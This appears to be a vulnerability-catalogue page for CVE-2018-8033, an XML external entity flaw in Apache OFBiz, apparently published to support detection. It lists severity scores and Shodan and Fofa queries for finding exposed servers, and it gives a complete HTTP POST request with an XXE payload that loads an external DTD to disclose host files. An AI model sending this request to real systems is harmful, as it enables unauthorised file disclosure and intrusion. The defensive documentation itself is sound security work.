🔙 목록으로 돌아가기

CVE-2018-8033: Apache OFBiz - XML External Entity Injection

TitleApache OFBiz - XML External Entity Injection
Authordaffainfo
SeverityHigh
ImpactAttackers can read sensitive files or cause denial of service by exploiting XXE vulnerability.
RemediationUpdate to the latest version of Apache OFBiz that addresses the XXE vulnerability or apply security patches.
CVSS Score7.5
EPSS Score0.92044
CVE IDCVE-2018-8033
CWE IDCWE-200
Shodan Queryhttp.html:"ofbiz"ofbiz.visitor=
Fofa Querybody="ofbiz"app="apache_ofbiz"
Tags cve cve2018 apache ofbiz xxe vuln

🔍 Vulnerability Description

In Apache OFBiz 16.11.01 to 16.11.04, the OFBiz HTTP engine (org.apache.ofbiz.service.engine.HttpEngine.java) handles requests for HTTP services via the /webtools/control/httpService endpoint. Both POST and GET requests to the httpService endpoint may contain three parameters: serviceName, serviceMode, and serviceContext. The exploitation occurs by having DOCTYPEs pointing to external references that trigger a payload that returns secret information from the host.

🌐 HTTP Request

POST /webtools/control/httpService HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 287
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

serviceName=createPartyGroup&serviceMode=sync&serviceContext=<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY %25 request SYSTEM 'https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/xxe-poc.dtd'>%25request;%25secondstage;]><r>%26disclose;</r>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-8033.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-8033.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A